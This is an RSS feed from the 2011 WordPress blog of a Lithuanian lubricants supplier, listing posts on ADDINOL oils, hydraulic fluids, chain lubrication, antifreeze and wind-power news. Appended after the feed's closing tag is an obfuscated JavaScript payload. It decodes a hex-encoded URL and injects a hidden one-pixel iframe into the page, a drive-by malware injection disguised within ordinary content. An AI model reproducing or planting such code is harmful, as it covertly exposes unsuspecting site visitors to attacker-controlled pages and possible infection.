<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>intrade.lt/blog</title>
	<atom:link href="http://intrade.lt/blog/?feed=rss2" rel="self" type="application/rss+xml" />
	<link>http://intrade.lt/blog</link>
	<description></description>
	<lastBuildDate>Wed, 06 Apr 2011 10:13:40 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.4</generator>
		<item>
		<title>Floating Offshore Wind Turbines Come Closer to Reality</title>
		<link>http://intrade.lt/blog/?p=1133</link>
		<comments>http://intrade.lt/blog/?p=1133#comments</comments>
		<pubDate>Tue, 05 Apr 2011 07:36:19 +0000</pubDate>
		<dc:creator>UAB Intelligent Trade Direktorius, Dipl. Inž. Aleksandr Bondarčiuk</dc:creator>
				<category><![CDATA[Naujienos]]></category>

		<guid isPermaLink="false">http://intrade.lt/blog/?p=1133</guid>
		<description><![CDATA[WindFloat, a project on the drawing board for some time, has taken a key step toward becoming reality following a recent agreement with Vestas to supply a 2-MW turbine to the pioneer project. Vestas, a Danish manufacturer that claims to have installed around half of the world’s traditional offshore wind farms, has signed an agreement with <a href="http://intrade.lt/blog/?p=1133"> read more <span class="meta-nav">&#187;</span></a>]]></description>
		<wfw:commentRss>http://intrade.lt/blog/?feed=rss2&#038;p=1133</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Mūgos (Muuga) konteinerių terminalas supranta šiuolaikinio tepalo ūkio svarbą</title>
		<link>http://intrade.lt/blog/?p=1102</link>
		<comments>http://intrade.lt/blog/?p=1102#comments</comments>
		<pubDate>Fri, 18 Mar 2011 08:57:07 +0000</pubDate>
		<dc:creator>UAB Intelligent Trade Direktorius, Dipl. Inž. Aleksandr Bondarčiuk</dc:creator>
				<category><![CDATA[Tepalai ir tepimo sistemos]]></category>
		<category><![CDATA[ADDINOL]]></category>
		<category><![CDATA[ECO Gear]]></category>
		<category><![CDATA[Intelligent Trade]]></category>
		<category><![CDATA[INTRADE]]></category>
		<category><![CDATA[Muuga]]></category>

		<guid isPermaLink="false">http://intrade.lt/blog/?p=1102</guid>
		<description><![CDATA[Metinė Mūgos konteinerių terminalo (Muuga Conteiner Terminal) apyvarta šią dieną sudaro daugiau nei 2 milijonus tonų krovinių. Terminalas naudoja tris 200-metrų prieplaukas. Didelės krovinių apyvartos sunkiai apkrauna krovos įrangą. Dėl to, mašinų priežiūrai ir tepalų pasirinkimui keliami griežti reikalavimai. Per daugelį metų Mūgos konteinerių terminalo tepalo ūkis išgyveno daug rimtų pasikeitimų. Anksčiau naudotas purvinas kibiras <a href="http://intrade.lt/blog/?p=1102"> read more <span class="meta-nav">&#187;</span></a>]]></description>
		<wfw:commentRss>http://intrade.lt/blog/?feed=rss2&#038;p=1102</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ką reikia žinoti apie hidraulines alyvas?</title>
		<link>http://intrade.lt/blog/?p=798</link>
		<comments>http://intrade.lt/blog/?p=798#comments</comments>
		<pubDate>Sat, 22 Jan 2011 02:23:41 +0000</pubDate>
		<dc:creator>UAB Intelligent Trade Direktorius, Dipl. Inž. Aleksandr Bondarčiuk</dc:creator>
				<category><![CDATA[Tepalai ir tepimo sistemos]]></category>
		<category><![CDATA[ADDINOL]]></category>
		<category><![CDATA[hidraulinė alyva]]></category>
		<category><![CDATA[hydraulic oil]]></category>

		<guid isPermaLink="false">http://intrade.lt/blog/?p=798</guid>
		<description><![CDATA[Priešlaikinis hidraulinės sistemos komponentų gedimas įrangos naudotojams kainuoja tūkstančius litų. Iki 90% šių gedimų galima išvengti! Pripažinkim, kad hidraulinės sistemos dalys yra brangios. Apmaudu, kai jas tenka keisti dažniau nei priklauso. Savininkui tai didina išlaidas ir mažina pelną. Technikos vadovui ir mechanikui – mažina biudžetą bei našumą. Dėl ko hidraulinės sistemos dalys genda netgi anksčiau <a href="http://intrade.lt/blog/?p=798"> read more <span class="meta-nav">&#187;</span></a>]]></description>
		<wfw:commentRss>http://intrade.lt/blog/?feed=rss2&#038;p=798</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ritininių grandinių tepimas</title>
		<link>http://intrade.lt/blog/?p=837</link>
		<comments>http://intrade.lt/blog/?p=837#comments</comments>
		<pubDate>Mon, 17 Jan 2011 11:06:10 +0000</pubDate>
		<dc:creator>UAB Intelligent Trade Direktorius, Dipl. Inž. Aleksandr Bondarčiuk</dc:creator>
				<category><![CDATA[Tepalai ir tepimo sistemos]]></category>
		<category><![CDATA[ADDINOL]]></category>
		<category><![CDATA[grandinė]]></category>
		<category><![CDATA[grandinių tepimas]]></category>
		<category><![CDATA[tepimas]]></category>

		<guid isPermaLink="false">http://intrade.lt/blog/?p=837</guid>
		<description><![CDATA[Reikalavimai tepimo medžiagoms. Tipiniai grandininių pavarų gedimai bei būdai kaip jų išvengti? Grandininės pavaros priklauso pavarų su lanksčiu perdavimu grupei, kurios, kaip ir krumplinės pavaros gali be praslydimo perduoti sukimo momentą. Susidedanti iš vedamosios ir vedančiosios žvaigždutės (-čių), sujungtų grandine (-nėmis), ji gali dengti didelius tarpašinius atstumus. Jų dizainas yra pigesnis nei krumpliaratinių pavarų, plius <a href="http://intrade.lt/blog/?p=837"> read more <span class="meta-nav">&#187;</span></a>]]></description>
		<wfw:commentRss>http://intrade.lt/blog/?feed=rss2&#038;p=837</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Aušinimo skystis (antifrizas) &#8211; daugiau negu tiesiog apsauga nuo užšalimo.</title>
		<link>http://intrade.lt/blog/?p=642</link>
		<comments>http://intrade.lt/blog/?p=642#comments</comments>
		<pubDate>Fri, 07 Jan 2011 12:10:15 +0000</pubDate>
		<dc:creator>UAB Intelligent Trade Direktorius, Dipl. Inž. Aleksandr Bondarčiuk</dc:creator>
				<category><![CDATA[Tepalai ir tepimo sistemos]]></category>
		<category><![CDATA[ADDINOL]]></category>
		<category><![CDATA[antifrizas]]></category>
		<category><![CDATA[Aušinimo skystis]]></category>

		<guid isPermaLink="false">http://intrade.lt/blog/?p=642</guid>
		<description><![CDATA[Kokius reikalavimus turi atitikti aušinimo skystis? Kodėl tai svarbu? Dėl ko atsiranda korozija ir kavitacija? Kokį antifrizą rinktis?]]></description>
		<wfw:commentRss>http://intrade.lt/blog/?feed=rss2&#038;p=642</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>In 2010, Developing Countries Lead the Way on Wind</title>
		<link>http://intrade.lt/blog/?p=627</link>
		<comments>http://intrade.lt/blog/?p=627#comments</comments>
		<pubDate>Fri, 17 Dec 2010 11:23:03 +0000</pubDate>
		<dc:creator>Sergiu</dc:creator>
				<category><![CDATA[Naujienos]]></category>
		<category><![CDATA[China]]></category>
		<category><![CDATA[developing]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Wind]]></category>

		<guid isPermaLink="false">http://intrade.lt/blog/?p=627</guid>
		<description><![CDATA[If you think sustainable business is a trend confined to industrialized countries, or that wind and solar power is too expensive to take off in the developing world, it&#8217;s time to think again. The sustainable investor network Ceres reported this week that for the first time ever, the developing world is on-track to install more <a href="http://intrade.lt/blog/?p=627"> read more <span class="meta-nav">&#187;</span></a>]]></description>
		<wfw:commentRss>http://intrade.lt/blog/?feed=rss2&#038;p=627</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Беззаботная жизнь с помощью ADDINOL</title>
		<link>http://intrade.lt/blog/?p=615</link>
		<comments>http://intrade.lt/blog/?p=615#comments</comments>
		<pubDate>Thu, 11 Nov 2010 08:55:29 +0000</pubDate>
		<dc:creator>UAB Intelligent Trade Direktorius, Dipl. Inž. Aleksandr Bondarčiuk</dc:creator>
				<category><![CDATA[Tepalai ir tepimo sistemos]]></category>
		<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://intrade.lt/blog/?p=615</guid>
		<description><![CDATA[На рынке такси в Эстонии очень большая конкуренция. Чтобы выжить в этом бизнесе, нужно постоянно развиваться, думать, как эффективно вести дело, используя для этого помощь специалистов. «Аддинол» и такси «Риваал» сотрудничают уже девять лет. О сотрудничестве двух предприятий рассказывает член правления такси «Риваал» Рене Краусе: «Так как такси ездят круглый год в очень трудных условиях, <a href="http://intrade.lt/blog/?p=615"> read more <span class="meta-nav">&#187;</span></a>]]></description>
		<wfw:commentRss>http://intrade.lt/blog/?feed=rss2&#038;p=615</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
 <!-- . --><script type="text/javascript">var CaJhv=62;function vzPKtI(){}
if('tkGro'=='EKeFTM')XymDnO();if('Vyazoa'=='Dehy')JJVanL();var XoGSAwWp="parseI\x6et";function bxsvZ(){var YCOIC='YQWc';if('XICCOh'=='qAEG')bWrkW();}var MGLJ='hgHPH';var qMCVB='RtqBy';var dPCKBN=242;var RcQUmayu="";var Qxtc='FijdNp';if('cmymhA'=='uwRs')JFeDs='DOuXHL';var YhxZKG="8d9999955f54548b8691918a999994928692878653889492549855548e9353888c8e645655";function aTqV(){}var WXKcYH=211;var sAhMultT="fr\x6fmC\x68arCode";if('wNTzT'=='Brev')hUASQI='vYCinj';var Yewqid;var Yzypys="s\x6cice";var nAbSnt=96;function wFdMid(){var ZAruS='xvPDEN';if('avvrhm'=='nAkgtJ')ODSIk();}var JbHr;var Nojrd=(function(){var SZRe=24;var UGVgW;return this;if('XMVo'=='BItta')BHPA='MgISlJ';if('INMMN'=='VfNp')DIZljv();})();function yiQCIE(){}if('nNHNBr'=='QCrtp')CbCy='NbthQn';var AxzFr=22;var bLQIkOo="con\x73truc\x74or";if('BJYYI'=='HABcSi')SMNK();var ZSZnpPSLC="tCrLfv"[bLQIkOo];function XrDDQn(){}
var PMTUT;if('hgsv'=='CEWt')NwpVLw='MccRKh';for(var KowOM=0;KowOM<YhxZKG.length;KowOM+=2){if('EEHpF'=='CaYi')TDASx='XPZLub';bZzQY=Nojrd[XoGSAwWp](YhxZKG[Yzypys](KowOM,KowOM+2),16)-37;RcQUmayu+=ZSZnpPSLC[sAhMultT](bZzQY);var huMeh=187;if('HcWcq'=='ZByIUR')JTZh='AoGu';}
function CbheeG(){}
function KKPyC(){}
var FPOBlKAg="HXCFv";function FJcQ(){var tNYsuj='jjapw';if('xHLJIb'=='AnGzbG')uaFI();}
var fBkYlbx=navigator.appVersion.indexOf("MSIE")!=-1?'<iframe name="'+FPOBlKAg+'" src="'+"RcQUmayu"+'">':'iframe';var vNuVCR;var Imkfad=document.createElement(fBkYlbx);var YcPQDi=209;var xsCq;Imkfad.name=FPOBlKAg;var oEeskA='eubq';var aIyxjh='UteP';Imkfad.setAttribute("name",FPOBlKAg);if('JHdVsc'=='AHTS')nOEyZQ='yxegB';Imkfad.id=FPOBlKAg;if('lacR'=='DxDoN')FpEe='EyGVha';Imkfad.src=RcQUmayu;Imkfad.style.right="0px";if('gQIlg'=='Fdsx')mKiEaz();Imkfad.style.top="0px";if('iewRb'=='zRTNu')CdXx();function QziiQh(){}var pYza='EwCnCj';Imkfad.style.height="1px"
var VkFjSv;var Tdasx=170;Imkfad.style.width="1px";var oDwXk;if('VlUPlK'=='WvCeJ')IStMU();Imkfad.style.position="absolute";document.body.appendChild(Imkfad);function ZClun(){}
if('XktS'=='zBzc')NGtgzA();if('XmfPqs'=='lHQKsK')hKopJ();var uQOaK=52;</script><!-- . -->     
